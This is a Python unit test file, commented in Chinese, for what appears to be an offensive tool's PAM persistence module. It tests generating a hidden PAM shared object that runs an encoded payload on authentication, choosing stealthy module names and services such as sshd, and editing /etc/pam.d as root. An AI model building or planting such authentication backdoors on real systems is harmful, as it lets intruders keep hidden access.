#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""
PAM权限维持模块单元测试
"""

import unittest
import tempfile
import os
import sys
import shutil
from pathlib import Path

# 添加项目根目录到Python路径
project_root = Path(__file__).parent.parent.parent.parent
sys.path.insert(0, str(project_root))

from modules.persistence.pam.core import PAMPersistenceModule
from modules.persistence.base import PersistenceConfig, PersistenceStatus


class TestPAMPersistenceModule(unittest.TestCase):
    """PAM权限维持模块测试类"""
    
    def setUp(self):
        """测试初始化"""
        self.module = PAMPersistenceModule()
        self.test_payload = "echo 'PAM test payload executed' >> /tmp/pam_test.log"
        
    def test_module_initialization(self):
        """测试模块初始化"""
        self.assertEqual(self.module.module_name, "pam")
        self.assertEqual(self.module.module_version, "1.0.0")
        self.assertIn("linux", self.module.supported_platforms)
        
    def test_config_validation(self):
        """测试配置验证"""
        # 有效配置
        valid_config = PersistenceConfig(
            payload=self.test_payload,
            stealth_level=7
        )
        result = self.module.validate_config(valid_config)
        # 注意：如果没有gcc，这个测试可能失败
        
        # 无效配置 - 空payload
        invalid_config = PersistenceConfig(
            payload="",
            stealth_level=7
        )
        result = self.module.validate_config(invalid_config)
        self.assertFalse(result.success)
        self.assertIn("payload不能为空", result.message)
        
        # 无效配置 - 错误的stealth_level
        invalid_config2 = PersistenceConfig(
            payload=self.test_payload,
            stealth_level=15
        )
        result = self.module.validate_config(invalid_config2)
        self.assertFalse(result.success)
        self.assertIn("stealth_level必须在1-10之间", result.message)
        
    def test_platform_support(self):
        """测试平台支持检查"""
        # 在Linux上应该返回True，在其他平台上返回False
        if os.name == 'posix':
            self.assertTrue(self.module.is_platform_supported())
        else:
            self.assertFalse(self.module.is_platform_supported())
            
    def test_root_privileges_check(self):
        """测试root权限检查"""
        # 这个测试的结果取决于运行环境
        has_root = self.module._check_root_privileges()
        self.assertIsInstance(has_root, bool)
        
    def test_pam_module_path_selection(self):
        """测试PAM模块路径选择"""
        pam_path = self.module._select_pam_module_path()
        # 在Linux系统上应该能找到至少一个PAM路径
        if os.name == 'posix':
            # 可能找到路径，也可能因为权限问题找不到
            self.assertIsInstance(pam_path, (str, type(None)))
        
    def test_module_name_generation(self):
        """测试模块名称生成"""
        # 测试不同隐蔽级别的名称生成
        name_low = self.module._generate_module_name(3)
        name_high = self.module._generate_module_name(8)
        
        self.assertTrue(name_low.endswith('.so'))
        self.assertTrue(name_high.endswith('.so'))
        self.assertNotEqual(name_low, name_high)  # 应该生成不同的名称
        
    def test_target_service_selection(self):
        """测试目标服务选择"""
        # 测试不同隐蔽级别的服务选择
        service_low = self.module._select_target_service(3)
        service_high = self.module._select_target_service(9)
        
        self.assertIsInstance(service_low, str)
        self.assertIsInstance(service_high, str)
        
    def test_pam_service_exists(self):
        """测试PAM服务存在性检查"""
        # 测试常见的PAM服务
        if os.name == 'posix':
            # sshd服务通常存在
            sshd_exists = self.module._pam_service_exists('sshd')
            self.assertIsInstance(sshd_exists, bool)
            
            # 不存在的服务
            fake_exists = self.module._pam_service_exists('nonexistent_service_12345')
            self.assertFalse(fake_exists)
            
    def test_pam_config_line_generation(self):
        """测试PAM配置行生成"""
        module_name = "test_module.so"
        
        line_low = self.module._generate_pam_config_line(module_name, 3)
        line_high = self.module._generate_pam_config_line(module_name, 9)
        
        self.assertIn(module_name, line_low)
        self.assertIn(module_name, line_high)
        self.assertIn("auth", line_low)
        self.assertIn("auth", line_high)
        
    def test_pam_module_code_generation(self):
        """测试PAM模块代码生成"""
        config = PersistenceConfig(
            payload=self.test_payload,
            stealth_level=7
        )
        
        c_code = self.module._generate_pam_module_code(config)
        
        # 检查生成的代码包含必要的元素
        self.assertIn("#include <security/pam_modules.h>", c_code)
        self.assertIn("pam_sm_authenticate", c_code)
        self.assertIn("execute_payload", c_code)
        
        # 检查payload是否被编码
        import base64
        encoded_payload = base64.b64encode(config.payload.encode()).decode()
        self.assertIn(encoded_payload, c_code)
        
    def test_module_info(self):
        """测试模块信息获取"""
        info = self.module.get_module_info()
        
        self.assertEqual(info['name'], 'pam')
        self.assertEqual(info['version'], '1.0.0')
        self.assertIn('linux', info['supported_platforms'])
        self.assertTrue(info['requires_root'])
        
    @unittest.skipUnless(os.name == 'posix' and os.geteuid() == 0, 
                        "需要Linux系统和root权限")
    def test_deployment_flow(self):
        """测试部署流程（需要root权限）"""
        config = PersistenceConfig(
            payload=self.test_payload,
            stealth_level=5
        )
        
        # 测试部署
        result = self.module.deploy(config)
        
        if result.success:
            instance_id = result.instance_id
            
            # 测试状态检查
            check_result = self.module.check_alive(instance_id)
            self.assertTrue(check_result.success)
            
            # 测试实例列表
            instances = self.module.list_instances()
            self.assertGreater(len(instances), 0)
            
            # 测试清理
            clean_result = self.module.clean(instance_id)
            self.assertTrue(clean_result.success)
            
    def test_instance_management(self):
        """测试实例管理"""
        # 测试空实例列表
        instances = self.module.list_instances()
        self.assertIsInstance(instances, list)
        
        # 测试不存在的实例检查
        fake_id = "fake_instance_id_12345"
        check_result = self.module.check_alive(fake_id)
        self.assertFalse(check_result.success)
        
        # 测试不存在的实例清理
        clean_result = self.module.clean(fake_id)
        self.assertFalse(clean_result.success)


class TestPAMModuleIntegration(unittest.TestCase):
    """PAM模块集成测试"""
    
    def setUp(self):
        """测试初始化"""
        self.module = PAMPersistenceModule()
        
    def test_gcc_availability(self):
        """测试gcc编译器可用性"""
        try:
            import subprocess
            result = subprocess.run(['gcc', '--version'], 
                                  capture_output=True, text=True)
            gcc_available = result.returncode == 0
        except FileNotFoundError:
            gcc_available = False
            
        # 记录gcc可用性（不强制要求）
        print(f"GCC编译器可用性: {gcc_available}")
        
    def test_pam_development_headers(self):
        """测试PAM开发头文件"""
        pam_headers = [
            '/usr/include/security/pam_modules.h',
            '/usr/include/pam/pam_modules.h'
        ]
        
        headers_available = any(os.path.exists(header) for header in pam_headers)
        print(f"PAM开发头文件可用性: {headers_available}")
        
    @unittest.skipUnless(os.name == 'posix', "需要Linux系统")
    def test_pam_directories(self):
        """测试PAM目录结构"""
        # 检查PAM配置目录
        pam_config_dir = '/etc/pam.d'
        config_dir_exists = os.path.exists(pam_config_dir)
        self.assertTrue(config_dir_exists, "PAM配置目录不存在")
        
        # 检查PAM模块目录
        pam_module_paths = [
            '/lib/security/',
            '/lib64/security/',
            '/usr/lib/security/',
            '/usr/lib64/security/'
        ]
        
        module_dir_exists = any(os.path.exists(path) for path in pam_module_paths)
        self.assertTrue(module_dir_exists, "PAM模块目录不存在")
        
    def test_common_pam_services(self):
        """测试常见PAM服务"""
        common_services = ['sshd', 'login', 'su', 'sudo']
        
        for service in common_services:
            service_file = f'/etc/pam.d/{service}'
            if os.path.exists(service_file):
                print(f"PAM服务 {service} 存在")
                
                # 检查文件是否可读
                try:
                    with open(service_file, 'r') as f:
                        content = f.read()
                        self.assertGreater(len(content), 0)
                except PermissionError:
                    print(f"PAM服务 {service} 文件权限不足")


def run_all_tests():
    """运行所有测试"""
    # 创建测试套件
    test_suite = unittest.TestSuite()
    
    # 添加测试类
    test_suite.addTest(unittest.makeSuite(TestPAMPersistenceModule))
    test_suite.addTest(unittest.makeSuite(TestPAMModuleIntegration))
    
    # 运行测试
    runner = unittest.TextTestRunner(verbosity=2)
    result = runner.run(test_suite)
    
    return result.wasSuccessful()


if __name__ == "__main__":
    print("=== PAM权限维持模块单元测试 ===")
    
    # 检查运行环境
    print(f"操作系统: {os.name}")
    print(f"当前用户ID: {os.getuid() if hasattr(os, 'getuid') else 'N/A'}")
    print(f"是否为root: {os.geteuid() == 0 if hasattr(os, 'geteuid') else False}")
    
    # 运行测试
    success = run_all_tests()
    
    if success:
        print("\n✓ 所有测试通过")
        sys.exit(0)
    else:
        print("\n✗ 部分测试失败")
        sys.exit(1)